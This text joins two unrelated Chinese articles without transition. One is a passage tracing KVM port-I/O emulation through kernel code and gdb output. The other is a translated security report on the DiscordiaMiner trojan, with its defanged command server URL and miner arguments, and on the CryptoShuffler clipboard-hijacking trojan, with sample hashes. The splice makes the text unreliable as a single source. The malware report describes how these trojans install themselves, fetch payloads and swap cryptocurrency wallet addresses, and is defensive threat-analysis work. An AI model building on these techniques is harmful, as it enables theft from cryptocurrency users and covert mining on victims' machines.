我们可以看到如果设置了Use I/O bitmpas这一位，Unconditional I/O exiting就无效了，如果在IO bitmap
中某一位被设置为1，则访问该端口就会发生vm exit，否则客户机可以直接访问。 IO bitmap的地址存在vmcs中的I/O-Bitmap
Addresses域中，事实上，有两个IO bitmap，我们叫做A和B。 再来看看SDM
每一个bitmap包含4kb，也就是一个页，bitmap A包含了端口0000H到7FFFFH(4*1024*8)，第二个端口包含了8000H到
FFFFH。
好了，我们已经从理论上对IO port有了了解了，下面看看kvm中的代码。
首先我们看到arch/x86/kvm/vmx.c中，定义了两个全局变量表示bitmap A和B的地址。
在vmx_init函数中这两个指针都被分配了一个页大小的空间，之后所有位都置1，然后在bitmap A中对第 80位进行了清零，也就是客户机访
这个0x80端口不会发生vm exit。
static unsigned long *vmx_io_bitmap_a;
static unsigned long *vmx_io_bitmap_b;
static int __init vmx_init(void)
{
vmx_io_bitmap_a = (unsigned long *)__get_free_page(GFP_KERNEL);
vmx_io_bitmap_b = (unsigned long *)__get_free_page(GFP_KERNEL);
/*
* Allow direct access to the PC debug port (it is often used for I/O
* delays, but the vmexits simply slow things down).
*/
memset(vmx_io_bitmap_a, 0xff, PAGE_SIZE);
clear_bit(0x80, vmx_io_bitmap_a);
memset(vmx_io_bitmap_b, 0xff, PAGE_SIZE);
...
}
在同一个文件中，我们看到在对vcpu进行初始化的时候会把这个bitmap A和B的地址写入到vmcs中去，这样 就建立了对IO port的访问的截获。
static int vmx_vcpu_setup(struct vcpu_vmx *vmx)
{
/* I/O */
vmcs_write64(IO_BITMAP_A, __pa(vmx_io_bitmap_a));
vmcs_write64(IO_BITMAP_B, __pa(vmx_io_bitmap_b));
return 0;
}
**二. PIO中out的处理流程**
本节我们来探讨一下kvm中out指令的处理流程。首先，将上一节中的test.S代码改一下，只out一次。
.globl _start
.code16
_start:
xorw %ax, %ax
mov $0x0a,%al
out %ax, $0x10
inc %ax
hlt
kvm中guest发送vm exit之后会根据发送exit的原因调用各种handler。这也在vmx.c中
static int (*const kvm_vmx_exit_handlers[])(struct kvm_vcpu *vcpu) = {
[EXIT_REASON_EXCEPTION_NMI] = handle_exception,
[EXIT_REASON_EXTERNAL_INTERRUPT] = handle_external_interrupt,
[EXIT_REASON_TRIPLE_FAULT] = handle_triple_fault,
[EXIT_REASON_NMI_WINDOW] = handle_nmi_window,
[EXIT_REASON_IO_INSTRUCTION] = handle_io,
...
}
对应这里，处理IO的回调是handle_io。我们在target中执行：
root@ubuntu:/home/test# echo g >/proc/sysrq-trigger
这样调试机中的gdb会断下来，给handle_io下个断点：
(gdb) b handle_io
Breakpoint 1 at 0xffffffff81037dca: file arch/x86/kvm/vmx.c, line 4816.
(gdb) c
接着，我们用gdb启动target中的kvmsample，并且在main.c的84行下个断点。
test@ubuntu:~/kvmsample$ gdb ./kvmsample
...
Reading symbols from ./kvmsample...done.
(gdb) b ma
main main.c malloc malloc@plt
(gdb) b main.c:84
Breakpoint 1 at 0x400cac: file main.c, line 84.
第84行恰好是从ioctl KVM_RUN中返回回来的时候。
好了，开始r，会发现debugger已经断下来了：
Thread 434 hit Breakpoint 1, handle_io (vcpu=0xffff8800ac528000)
at arch/x86/kvm/vmx.c:4816
4816 {
(gdb)
从handle_io的代码我们可以看出，首先会从vmcs中读取exit的一些信息，包括访问这个端口是in还是out, 大小，以及端口号port等。
static int handle_io(struct kvm_vcpu *vcpu)
{
unsigned long exit_qualification;
int size, in, string;
unsigned port;
exit_qualification = vmcs_readl(EXIT_QUALIFICATION);
string = (exit_qualification & 16) != 0;
in = (exit_qualification & 8) != 0;
++vcpu->stat.io_exits;
if (string || in)
return emulate_instruction(vcpu, 0) == EMULATE_DONE;
port = exit_qualification >> 16;
size = (exit_qualification & 7) + 1;
skip_emulated_instruction(vcpu);
return kvm_fast_pio_out(vcpu, size, port);
}
之后通过skip_emulated_instruction增加guest的rip之后调用kvm_fast_pio_out，在该函数中，
我们可以看到首先读取guest的rax，这个值放的是向端口写入的数据，这里是，0xa
int kvm_fast_pio_out(struct kvm_vcpu *vcpu, int size, unsigned short port)
{
unsigned long val = kvm_register_read(vcpu, VCPU_REGS_RAX);
int ret = emulator_pio_out_emulated(&vcpu->arch.emulate_ctxt,
size, port, &val, 1);
/* do not return to emulator after return from userspace */
vcpu->arch.pio.count = 0;
return ret;
}
我们可以对比gdb中看看数据：
Thread 434 hit Breakpoint 1, handle_io (vcpu=0xffff8800ac528000)
at arch/x86/kvm/vmx.c:4816
4816 {
(gdb) n
4821 exit_qualification = vmcs_readl(EXIT_QUALIFICATION);
(gdb) n
4825 ++vcpu->stat.io_exits;
(gdb) n
4827 if (string || in)
(gdb) n
4832 skip_emulated_instruction(vcpu);
(gdb) n
[New Thread 3654]
4834 return kvm_fast_pio_out(vcpu, size, port);
(gdb) s
kvm_fast_pio_out (vcpu=0xffff8800ac528000, size=16, port=16)
at arch/x86/kvm/x86.c:5086
5086 {
(gdb) n
[New Thread 3656]
5087 unsigned long val = kvm_register_read(vcpu, VCPU_REGS_RAX);
(gdb) n
[New Thread 3657]
5088 int ret = emulator_pio_out_emulated(&vcpu->arch.emulate_ctxt,
(gdb) p /x val
$1 = 0xa
(gdb)
再往下，我们看到在emulator_pio_out_emulated，把值拷贝到了vcpu->arch.pio_data中，接着调用
emulator_pio_in_out。
static int emulator_pio_out_emulated(struct x86_emulate_ctxt *ctxt,
int size, unsigned short port,
const void *val, unsigned int count)
{
struct kvm_vcpu *vcpu = emul_to_vcpu(ctxt);
memcpy(vcpu->arch.pio_data, val, size * count);
return emulator_pio_in_out(vcpu, size, port, (void *)val, count, false);
}
static int emulator_pio_in_out(struct kvm_vcpu *vcpu, int size,
unsigned short port, void *val,
unsigned int count, bool in)
{
trace_kvm_pio(!in, port, size, count);
vcpu->arch.pio.port = port;
vcpu->arch.pio.in = in;
vcpu->arch.pio.count = count;
vcpu->arch.pio.size = size;
if (!kernel_pio(vcpu, vcpu->arch.pio_data)) {
vcpu->arch.pio.count = 0;
return 1;
}
vcpu->run->exit_reason = KVM_EXIT_IO;
vcpu->run->io.direction = in ? KVM_EXIT_IO_IN : KVM_EXIT_IO_OUT;
vcpu->run->io.size = size;
vcpu->run->io.data_offset = KVM_PIO_PAGE_OFFSET * PAGE_SIZE;
vcpu->run->io.count = count;
vcpu->run->io.port = port;
return 0;
}
在后一个函数中，我们可以看到vcpu->run->io.data_offset设置为4096了，我们可以看到之前已经把我们
向端口写的值通过memcpy拷贝到了vpuc->arch.pio_data中去了，通过调试我们可以看出其中的端倪。
vcpu->arch.pio_data就在kvm_run后面一个页的位置。这也可以从kvm_vcpu_init中看出来。
4405 vcpu->run->io.size = size;
(gdb) n
[New Thread 3667]
4406 vcpu->run->io.data_offset = KVM_PIO_PAGE_OFFSET * PAGE_SIZE;
(gdb) n
4407 vcpu->run->io.count = count;
(gdb) n
4408 vcpu->run->io.port = port;
(gdb) p count
$7 = 1
(gdb) n
4410 return 0;
(gdb) x /2b 0xffff88002a2a2000+0x1000
0xffff88002a2a3000: 0x0a 0x00
(gdb) p vcpu->run
$9 = (struct kvm_run *) 0xffff88002a2a2000
(gdb) p vcpu->arch.pio_data
$10 = (void *) 0xffff88002a2a3000
(gdb)
这样，我们看到vcpu->run->io保存了一些PIO的基本信息，比如大小，端口号等，run后面的一个页
vcpu->arch.pio_data则保存了实际out出来的数据。让target继续执行，这个时候我们断回了kvmsample 程序中。
(gdb) p kvm->vcpus->kvm_run->io
$2 = {direction = 1 '01', size = 2 '02', port = 16, count = 1,
data_offset = 4096}
(gdb)
这里简单说一下kvm_run，这是用于vcpu和应用层的程序（典型如qemu)通信的一个结构，user space的
程序通过KVM__VCPU_MMAP_SIZE这个ioctl得到大小得到大小，然后映射到用户空间。
(gdb) x /2b 0x7ffff7ff4000+0x1000
0x7ffff7ff5000: 10
我们通过gdb可以看到，我们在guest向端口写入的数据以及端口都能够从user space读出来。在这个示例程序中，
仅仅是把数据输出来，qemu中会根据端口去寻找对应的设备，然后执行对应的回调。
整体而言，out指令的流程是非常简单的，guest写端口，陷入kvm, kvm回到user space处理。
**三. PIO中in的处理流程**
虽然我们说guest访问端口包含了读写，都会导致vm exit。但是如果我们细想一下会发现，out和in肯定是不一样
的。out只需要guest写一个数据就好了，但是in还需要读回来数据。所以流程应该是guest发起一个in操作， 然后kvm处理，返回到user
space之中，把数据填到kvm_run结构中，这样，kvm得到数据了再vm entry，这样 in的数据就能够到guest中了。
我们队实例程序做简单修改。在test.S中首先从0x10端口读入一个值，这个值为0xbeff，然后写到端口0x10。
test.S
# A test code for kvmsample
.globl _start
.code16
_start:
xorw %ax, %ax
mov $0x0a,%al
in $0x10,%ax
out %ax, $0x10
hlt
对main.c做如下修改：
在处理KVM_EXIT_IO的时候区分了一下in/out，对in我们拷贝一个0xbeff过去。然后用在guest中用out向 端口0x10输出这个值。
执行in指令的第一次仍然是陷入kvm handle_io处理，只是这次走另一条路：
Thread 486 hit Breakpoint 1, handle_io (vcpu=0xffff88011d428000)
at arch/x86/kvm/vmx.c:4816
4816 {
(gdb) n
4821 exit_qualification = vmcs_readl(EXIT_QUALIFICATION);
(gdb)
4825 ++vcpu->stat.io_exits;
(gdb)
4827 if (string || in)
(gdb)
4828 return emulate_instruction(vcpu, 0) == EMULATE_DONE;
(gdb) s
emulate_instruction (emulation_type=<optimized out>, vcpu=<optimized out>)
at /home/test/linux-3.10.105/arch/x86/include/asm/kvm_host.h:811
811 return x86_emulate_instruction(vcpu, 0, emulation_type, NULL, 0);
(gdb) s
调用x86_emulate_instruction，这之中调用的最重要的两个函数时x86_decode_insn， x86_emulate_insn。
int x86_emulate_instruction(struct kvm_vcpu *vcpu,
unsigned long cr2,
int emulation_type,
void *insn,
int insn_len)
{
int r;
struct x86_emulate_ctxt *ctxt = &vcpu->arch.emulate_ctxt;
bool writeback = true;
bool write_fault_to_spt = vcpu->arch.write_fault_to_shadow_pgtable;
/*
* Clear write_fault_to_shadow_pgtable here to ensure it is
* never reused.
*/
vcpu->arch.write_fault_to_shadow_pgtable = false;
kvm_clear_exception_queue(vcpu);
if (!(emulation_type & EMULTYPE_NO_DECODE)) {
init_emulate_ctxt(vcpu);
r = x86_decode_insn(ctxt, insn, insn_len);
}
restart:
r = x86_emulate_insn(ctxt);
if (ctxt->have_exception) {
inject_emulated_exception(vcpu);
r = EMULATE_DONE;
} else if (vcpu->arch.pio.count) {
if (!vcpu->arch.pio.in)
vcpu->arch.pio.count = 0;
else {
writeback = false;
vcpu->arch.complete_userspace_io = complete_emulated_pio;
}
r = EMULATE_DO_MMIO;
if (writeback) {
toggle_interruptibility(vcpu, ctxt->interruptibility);
kvm_set_rflags(vcpu, ctxt->eflags);
kvm_make_request(KVM_REQ_EVENT, vcpu);
vcpu->arch.emulate_regs_need_sync_to_vcpu = false;
kvm_rip_write(vcpu, ctxt->eip);
} else
vcpu->arch.emulate_regs_need_sync_to_vcpu = true;
return r;
}
EXPORT_SYMBOL_GPL(x86_emulate_instruction);
第一个函数，x86_decode_insn，顾名思义，就是解码当前的指令。
int x86_decode_insn(struct x86_emulate_ctxt *ctxt, void *insn, int insn_len)
{
/* Legacy prefixes. */
for (;;) {
switch (ctxt->b = insn_fetch(u8, ctxt)) {
}
/* Opcode byte(s). */
opcode = opcode_table[ctxt->b];
/* Two-byte opcode? */
if (ctxt->b == 0x0f) {
ctxt->twobyte = 1;
ctxt->b = insn_fetch(u8, ctxt);
opcode = twobyte_table[ctxt->b];
}
ctxt->d = opcode.flags;
ctxt->execute = opcode.u.execute;
ctxt->check_perm = opcode.check_perm;
ctxt->intercept = opcode.intercept;
rc = decode_operand(ctxt, &ctxt->src, (ctxt->d >> SrcShift) & OpMask);
if (rc != X86EMUL_CONTINUE)
goto done;
/*
* Decode and fetch the second source operand: register, memory
* or immediate.
*/
rc = decode_operand(ctxt, &ctxt->src2, (ctxt->d >> Src2Shift) & OpMask);
if (rc != X86EMUL_CONTINUE)
goto done;
/* Decode and fetch the destination operand: register or memory. */
rc = decode_operand(ctxt, &ctxt->dst, (ctxt->d >> DstShift) & OpMask);
}
首先通过insn_fetch获取指令，从下面的调试可以看到取到的指令正好是我们的in指令的机器码：
(gdb)
4366 switch (ctxt->b = insn_fetch(u8, ctxt)) {
(gdb)
4414 if (ctxt->rex_prefix & 8)
(gdb) p ctxt->b
$38 = 229 '345'
(gdb) p /x ctxt->b
$39 = 0xe5
之后根据指令，查表opcode_table找到对应的回调函数，将回调赋值给ctxt->execute.对于我们的in指令 来说这个回调是em_in函数。
4472 ctxt->execute = opcode.u.execute;
(gdb)
4473 ctxt->check_perm = opcode.check_perm;
(gdb) p ctxt->execute
$41 = (int (*)(struct x86_emulate_ctxt *)) 0xffffffff81027238 <em_in>
(gdb) n
接下来就是调用三次decode_operand取出对应指令的操作数了。从下面的调试结果我们看出，源操作数
的值为ctxt->src->val=16，需要写到的寄存器是RAX，即ctxt->dst->addr.reg
(gdb) n
4528 rc = decode_operand(ctxt, &ctxt->src2, (ctxt->d >> Src2Shift) & OpMask);
(gdb) n
4529 if (rc != X86EMUL_CONTINUE)
(gdb) p ctxt->src->val
$42 = 16
(gdb) n
4533 rc = decode_operand(ctxt, &ctxt->dst, (ctxt->d >> DstShift) & OpMask);
(gdb) s
...
(gdb) p op->addr.reg
$46 = (unsigned long *) 0xffff88011d4296c8
(gdb) p ctxt->_regs[0]
$47 = 10
(gdb) p &ctxt->_regs[0]
$48 = (unsigned long *) 0xffff88011d4296c8
继续回到x86_emulate_instruction函数中，指令解码之后就是执行了，这是通过调用x86_emulate_insn 实现的。
int x86_emulate_insn(struct x86_emulate_ctxt *ctxt)
{
const struct x86_emulate_ops *ops = ctxt->ops;
int rc = X86EMUL_CONTINUE;
int saved_dst_type = ctxt->dst.type;
if (ctxt->execute) {
if (ctxt->d & Fastop) {
void (*fop)(struct fastop *) = (void *)ctxt->execute;
rc = fastop(ctxt, fop);
if (rc != X86EMUL_CONTINUE)
goto done;
goto writeback;
}
rc = ctxt->execute(ctxt);
if (rc != X86EMUL_CONTINUE)
goto done;
goto writeback;
}
writeback:
rc = writeback(ctxt);
if (rc != X86EMUL_CONTINUE)
goto done;
done:
if (rc == X86EMUL_PROPAGATE_FAULT)
ctxt->have_exception = true;
if (rc == X86EMUL_INTERCEPTED)
return EMULATION_INTERCEPTED;
if (rc == X86EMUL_CONTINUE)
writeback_registers(ctxt);
return (rc == X86EMUL_UNHANDLEABLE) ? EMULATION_FAILED : EMULATION_OK;
}
最重要的当然是调用回调函数了
rc = ctxt->execute(ctxt);
从之前的解码中，我们已经知道这是em_in了,相关调用函数如下：
static int em_in(struct x86_emulate_ctxt *ctxt)
{
if (!pio_in_emulated(ctxt, ctxt->dst.bytes, ctxt->src.val,
&ctxt->dst.val))
return X86EMUL_IO_NEEDED;
return X86EMUL_CONTINUE;
}
static int pio_in_emulated(struct x86_emulate_ctxt *ctxt,
unsigned int size, unsigned short port,
void *dest)
{
struct read_cache *rc = &ctxt->io_read;
if (rc->pos == rc->end) { /* refill pio read ahead */
...
rc->pos = rc->end = 0;
if (!ctxt->ops->pio_in_emulated(ctxt, size, port, rc->data, n))
return 0;
rc->end = n * size;
}
if (ctxt->rep_prefix && !(ctxt->eflags & EFLG_DF)) {
ctxt->dst.data = rc->data + rc->pos;
ctxt->dst.type = OP_MEM_STR;
ctxt->dst.count = (rc->end - rc->pos) / size;
rc->pos = rc->end;
} else {
memcpy(dest, rc->data + rc->pos, size);
rc->pos += size;
}
return 1;
}
static int emulator_pio_in_emulated(struct x86_emulate_ctxt *ctxt,
int size, unsigned short port, void *val,
unsigned int count)
{
struct kvm_vcpu *vcpu = emul_to_vcpu(ctxt);
int ret;
if (vcpu->arch.pio.count)
goto data_avail;
ret = emulator_pio_in_out(vcpu, size, port, val, count, true);
if (ret) {
data_avail:
memcpy(val, vcpu->arch.pio_data, size * count);
vcpu->arch.pio.count = 0;
return 1;
}
return 0;
}
在最后一个函数中，由于vcpu->arch.pio.count此时还没有数据（需要user spaces提供），所以会执行
emulator_pio_in_out，这在之前已经看过这个函数了，这就是设置kvm_run的相关数据，然后user spaces来 填充。
执行完了x86_emulate_insn，流程再次回到x86_emulate_instruction，最重要的是设置
vcpu->arch.complete_userspace_io这样一个回调。
if (ctxt->have_exception) {
inject_emulated_exception(vcpu);
r = EMULATE_DONE;
} else if (vcpu->arch.pio.count) {
if (!vcpu->arch.pio.in)
vcpu->arch.pio.count = 0;
else {
writeback = false;
vcpu->arch.complete_userspace_io = complete_emulated_pio;
}
之后这一次vm exit就算完事了。这样就会退到user space的ioctl KVM_RUN处。user space发现是一个
KVM_EXIT_IO，并且方向是KVM_EXIT_IO_IN，于是向kvm_run填入数据0xbeff。
case KVM_EXIT_IO:
printf("KVM_EXIT_IOn");
if(kvm->vcpus->kvm_run->io.direction == KVM_EXIT_IO_OUT)
printf("out port: %d, data: 0x%xn",
kvm->vcpus->kvm_run->io.port,
*(int *)((char *)(kvm->vcpus->kvm_run) + kvm->vcpus->kvm_run->io.data_offset)
);
else if(kvm->vcpus->kvm_run->io.direction == KVM_EXIT_IO_IN)
{
printf("in port: %dn",kvm->vcpus->kvm_run->io.port);
*(short*)((char*)(kvm->vcpus->kvm_run)+kvm->vcpus->kvm_run->io.data_offset) = 0xbeff;
}
由于user space的ioctl一般都是运行在一个循环中（如果不这样，guest也就不可能一直运行着了)。所以接着调用 KVM_RUN
ioctl。在进入non-root的模式前，有一个工作就是判断vcpu->arch.complete_userspace_io 是否设置，如果设置就会调用。
int kvm_arch_vcpu_ioctl_run(struct kvm_vcpu *vcpu, struct kvm_run *kvm_run)
{
int r;
sigset_t sigsaved;
if (unlikely(vcpu->arch.complete_userspace_io)) {
int (*cui)(struct kvm_vcpu *) = vcpu->arch.complete_userspace_io;
vcpu->arch.complete_userspace_io = NULL;
r = cui(vcpu);
if (r <= 0)
goto out;
} else
WARN_ON(vcpu->arch.pio.count || vcpu->mmio_needed);
r = __vcpu_run(vcpu);
return r;
}
从之前的分之知道
vcpu->arch.complete_userspace_io = complete_emulated_pio;
看看相应的代码
static int complete_emulated_pio(struct kvm_vcpu *vcpu)
{
BUG_ON(!vcpu->arch.pio.count);
return complete_emulated_io(vcpu);
}
static inline int complete_emulated_io(struct kvm_vcpu *vcpu)
{
int r;
vcpu->srcu_idx = srcu_read_lock(&vcpu->kvm->srcu);
r = emulate_instruction(vcpu, EMULTYPE_NO_DECODE);
srcu_read_unlock(&vcpu->kvm->srcu, vcpu->srcu_idx);
if (r != EMULATE_DONE)
return 0;
return 1;
}
static inline int emulate_instruction(struct kvm_vcpu *vcpu,
int emulation_type)
{
return x86_emulate_instruction(vcpu, 0, emulation_type, NULL, 0);
}
最终也是调用了x86_emulate_instruction，值得注意的是用了参数EMULTYPE_NO_DECODE，这就不会再次
解码。而是直接执行我们之前的em_in函数。
static int emulator_pio_in_emulated(struct x86_emulate_ctxt *ctxt,
int size, unsigned short port, void *val,
unsigned int count)
{
struct kvm_vcpu *vcpu = emul_to_vcpu(ctxt);
int ret;
if (vcpu->arch.pio.count)
goto data_avail;
ret = emulator_pio_in_out(vcpu, size, port, val, count, true);
if (ret) {
data_avail:
memcpy(val, vcpu->arch.pio_data, size * count);
vcpu->arch.pio.count = 0;
return 1;
}
return 0;
}
在最终的emulator_pio_in_emulated中，由于这个时候vcpu->arch.pio.count已经有值了，表示数据可用了。
最终会把数据拷贝到ctx->dst.val中。
(gdb) n
em_in (ctxt=0xffff88011d429550) at arch/x86/kvm/emulate.c:3440
3440 return X86EMUL_CONTINUE;
(gdb) n
3441 }
(gdb) p ctxt->dst.val
$58 = 48895
(gdb) p /x ctxt->dst.val
$59 = 0xbeff
(gdb) n
回到x86_emulate_insn，执行完了指令回调之后，会调到writeback函数去：
if (ctxt->execute) {
if (ctxt->d & Fastop) {
void (*fop)(struct fastop *) = (void *)ctxt->execute;
rc = fastop(ctxt, fop);
if (rc != X86EMUL_CONTINUE)
goto done;
goto writeback;
}
writeback:
rc = writeback(ctxt);
if (rc != X86EMUL_CONTINUE)
goto done;
我们之前解码得到ctxt->dst.type是一个寄存器，所以会执行write_register_operand
static int writeback(struct x86_emulate_ctxt *ctxt)
{
int rc;
if (ctxt->d & NoWrite)
return X86EMUL_CONTINUE;
switch (ctxt->dst.type) {
case OP_REG:
write_register_operand(&ctxt->dst);
break;
return X86EMUL_CONTINUE;
}
static void write_register_operand(struct operand *op)
{
/* The 4-byte case *is* correct: in 64-bit mode we zero-extend. */
switch (op->bytes) {
case 1:
*(u8 *)op->addr.reg = (u8)op->val;
break;
case 2:
*(u16 *)op->addr.reg = (u16)op->val;
break;
case 4:
*op->addr.reg = (u32)op->val;
break; /* 64b: zero-extend */
case 8:
*op->addr.reg = op->val;
break;
}
}
最后一个函数op->addr.reg是解码过程中的目的操作数的寄存器，由之前知道是rax(&ctxt->_regs[0])，这样
就把数据(0xbeff)写到了寄存器了。但是这里是ctxt的寄存器，最后还需要写到vmcs中去，通过调用如下函数 实现
if (rc == X86EMUL_CONTINUE)
writeback_registers(ctxt);
static void writeback_registers(struct x86_emulate_ctxt *ctxt)
{
unsigned reg;
for_each_set_bit(reg, (ulong *)&ctxt->regs_dirty, 16)
ctxt->ops->write_gpr(ctxt, reg, ctxt->_regs[reg]);
}
static void emulator_write_gpr(struct x86_emulate_ctxt *ctxt, unsigned reg, ulong val)
{
kvm_register_write(emul_to_vcpu(ctxt), reg, val);
}
static inline void kvm_register_write(struct kvm_vcpu *vcpu,
enum kvm_reg reg,
unsigned long val)
{
vcpu->arch.regs[reg] = val;
__set_bit(reg, (unsigned long *)&vcpu->arch.regs_dirty);
__set_bit(reg, (unsigned long *)&vcpu->arch.regs_avail);
}
这样，接着进入guest状态的时候,guest得RAX就有了user space传来的数据了。下面是一些调试数据。
(gdb) n
x86_emulate_insn (ctxt=0xffff88011d429550) at arch/x86/kvm/emulate.c:4828
4828 ctxt->dst.type = saved_dst_type;
(gdb) p ctxt->dst.val
$64 = 48895
(gdb) p &ctxt->dst.val
$65 = (unsigned long *) 0xffff88011d429640
(gdb) p &op->val
No symbol "op" in current context.
(gdb) n
4830 if ((ctxt->d & SrcMask) == SrcSI)
(gdb) p ctxt->dst.type
$66 = OP_REG
(gdb) n
[New Thread 2976]
4833 if ((ctxt->d & DstMask) == DstDI)
(gdb) n
[New Thread 2978]
[New Thread 2977]
4836 if (ctxt->rep_prefix && (ctxt->d & String)) {
(gdb) n
4866 ctxt->eip = ctxt->_eip;
(gdb) n
4875 writeback_registers(ctxt);
**四. 参考**
oenhan: [KVM源代码分析5:IO虚拟化之PIO](http://oenhan.com/kvm-src-5-io-pio)
Alex Xu: [使用KVM API实现Emulator
Demo](http://soulxu.github.io/blog/2014/08/11/use-kvm-api-write-emulator/) | 社区文章 |
# 【技术分享】区块链轶事：尊严荣耀与理性投资
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/tales-from-the-blockchain/82971/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
随着时间的推移，加密货币（以下简称密币）已逐渐从新奇元素、乌托邦式的经济转变为颇有影响力的商业元素，即便是信息技术中最为脱节的社会单元也会受其影响。与此同时，密币已经得到许多“心怀不轨”人士的拥护，这些人的目标是牺牲其他人的利益来使自己利益最大化：攻击者会以各种方式运行挖矿程序，比如把挖矿程序嵌入用户JS脚本中、植入到处于生产状态的IoT设备中、隐藏在带有SMB漏洞利用技术的无数个木马变种中等。
这篇文章中，我会向大家介绍来自“挖矿前线”上的两个不同寻常的成功故事。第一个故事与[TinyNuke事件](https://securelist.com/the-nukebot-banking-trojan-from-rough-drafts-to-real-threats/78957/)遥相呼应，可以从许多方面反映当前的挖矿局势；第二个故事可以告诉我们一个道理：无需“燃烧”处理器来挖矿，你也能拿到密币。
**
**
**二、DiscordiaMiner以及论坛上的争论**
在6月初，我们的分析人员发现了一款新的、貌似很普通的木马，这款木马会下载非常流行的[门罗币](https://getmonero.org/home)挖矿程序。然而，随着调查过程的深入，我们发现了许多更为有趣的细节，我们希望与大家一起分享这些信息。
卡巴斯基实验室产品将这款木马标记为[Trojan.Win32.DiscordiaMiner](https://threats.kaspersky.com/ru/threat/Trojan.Win32.DiscordiaMiner)。木马的工作流程如下：
1、在系统中创建多个目录，下载所需的文件；
2、将自身复制到C:ProgramDataMicrosoftCorporationWindowsSystemDataIsass.exe；
3、从服务器获取更新；
4、创建自启动任务；
5、下载挖矿程序；
6、获取用户凭据，使用该用户名来运行挖矿程序；
7、运行挖矿程序。
木马通过GET请求与命令服务器（C&C）交互，交互动作发生在程序启动期间，木马没有做其他任何检查或校验操作。所有的木马样本都使用hxxp://api[.]boosting[.]online这个地址作为C&C地址。该地址后面会跟上用户标识符（如MTn31JMWIT）以及所请求资源的地址，这些资源包括文件、新版程序等。典型的地址为：hxxp://api[.]boosting[.]online/MTn31JMWIT/getDiscordia。
**2.1 论坛上的争论**
前面我们提到过，在运行过程中的某一时刻，木马会得到指令，使用一些参数来运行挖矿程序：它会指定获得挖矿收益的用户邮箱地址，如下所示：
-user <user_email> -xmr
提取出<user_email>参数后，我们搜索了一下这个地址，根据第一行搜索结果，我们发现俄语论坛上有关于这个木马的一些话题：
在这个论坛帖子中，网友对木马的具体工作流程发起了广泛的讨论。讨论中最有趣的部分出现在第21页：网友纷纷指责木马作者将用户地址替换成自己的地址。除此之外，还有一份[聊天记录](https://pastebin.com/h64d4M01)，作者在聊天中表明出现这种替换行为是不值一提的错误。
在这个论坛上，DiscordiaMiner的作者表明这个错误的存活周期非常短，以此为根据来为自己辩护：
作者同样提到木马已感染200,000台主机。我们很难确认这个数字的准确性，然而，在我们拿到的恶意软件样本中，经常会看到这个独特的邮箱地址。样本中还出现过其他地址，如ilya-soro*****[email protected]、v*****[email protected]、topne*****[email protected]、J *****
[email protected]、steamfa*****[email protected]、me*****[email protected]、x*****[email protected]、piedmont
***** [email protected]。
除此之外，在争论过程中，作者还提到DiscordiaMiner木马的源码现已公开。
的确如此，使用这个关键词进行搜索，第一行搜索结果就是作者的代码仓库地址。
该源码与恢复完毕的木马代码完全一致，此外，这个仓库中还包括分析木马操作的翔实图表、投放木马时所用的样本文件以及绕过UAC机制的具体步骤。我们从该仓库中截取了一些图片（该仓库目前已无法访问），如下所示：
根据这个源码，不同程序之间只有与用户有关的字符串（ClientID）有所不同。
虽然开放程序源码之前也出现过，但这次事件与NukeBot事件有些共同点：论坛上先出现一些争议，然后作者就公开源码，目的是“捍卫荣誉与尊严”。这两个木马还有另一处相同点，那就是采用“最简”设计理念：NukeBot只能在浏览器中嵌入基于web注入的载荷，而DiscordiaMiner可以从远程服务器下载并运行文件。除此之外，我们无法确认这两个程序之间有没有更具体的联系。
**2.2 样本MD5值**
00B35FB5C534DEA3EA13C8BE4E4585CC
083FD078FECFE156B17A50F73666B43E
0AB8E9C539554CBA532DFC5BC5E10F77
377B9C329EBF7ACFE7DABA55A0E90E98
48E6714A486B67D237B07A7CF586B765
4BD80738059B5D34837633692F18EA08
4E79B826AE4EC544481784EF77E05DE4
4EF5A04A56004AA93167F31296CCACF7
539B092C176183EDCA6A69421B62BCE8
5F8E4CF0971B543525CA807B6A2EC73F
65CF0CC192E69EA54373758C130A983F
7F65252701C80F8D4C1484EE06597DF0
80B04BBC2F18E3FE4625C3E060DA5465
**三、CryptoShuffler**
挖矿软件的作者想一夜暴富是极为罕见的事情。除了一些特例以外，在整个木马运行周期内，攻击者所使用的钱包地址通常只包含价值50-100美元的密币。然而，某些人不想重复这条荆棘之路，他们会选择其他“旁门左道”。CryptoShuffler木马的作者正是其中一份子。
卡巴斯基实验室产品将该木马标记为Trojan-Banker.Win32.CryptoShuffler.gen，样本的MD5值为0ad946c351af8b53eac06c9b8526f8e4。
CryptoShuffler的核心功能为：木马不会浪费时间用处理器来挖矿，它会直接替换剪贴板中的发送方地址！我们曾经在WebMoney及比特币（Bitcoin）案例中看到过类型情况，但这款恶意软件的目标是所有常见的加密货币。
与许多木马刚开始的流程一样，这款木马会把自己写入注册表中，完成自启动目标：
在该木马的后续版本中，这个流程稍微有些不同：如果木马模块使用动态加载库方式实现，那么它就会使用rundll32这个系统应用实现自启动。被调用的程序入口以及相关库的主函数为call_directx_9。
木马会创建一个执行线程，在该线程中维护自启动方式（如上图所示）。
木马使用OpenClipboardGetClipboardDataSetClipboardData这几个API函数完成替换操作。
木马使用正则表达式搜索剪贴板中的字符串是否包含对应的钱包地址。常见的大多数密币钱包地址都会以某些字符串开头，并且钱包地址的长度也为固定长度，因此对应的正则表达式也非常简单。比如，比特币钱包地址很容易识别，这类地址的起始数字为“1”或者“3”.
木马文件中包含与各种密币对应的一些钱包地址，主要包括如下地址：
大量金钱从用户的比特币钱包流入网络犯罪分子的口袋：在本文成稿时，这些地址中大约包含23个比特币，截至10月底，这些比特币市值约14万美元。其他钱包中包含的钱数各不相同，从数十到数千美元不等。
这款恶意软件是“理性”投资的完美典范，它的动作非常简单却行之有效，这个过程没有连接到任何矿池、没有出现网络交互、不会给处理器带来可疑的负载。
**样本MD5值**
以下为MD5值： ****
095536CA531AE11A218789CF297E71ED
14461D5EA29B26BB88ABF79A36C1E449
1A05F51212DEA00C15B61E9C7B7E647B
1E785429526CC2621BAF8BB05ED17D86
2028383D63244013AA2F9366211E8682
25BF6A132AAE35A9D99E23794A41765F
39569EF2C295D1392C3BC53E70BCF158
50E52DBF0E78FCDDBC42657ED0661A3E
6EB7202BB156E6D90D4931054F9E3439
7AE273CD2243C4AFCC52FDA6BF1C2833
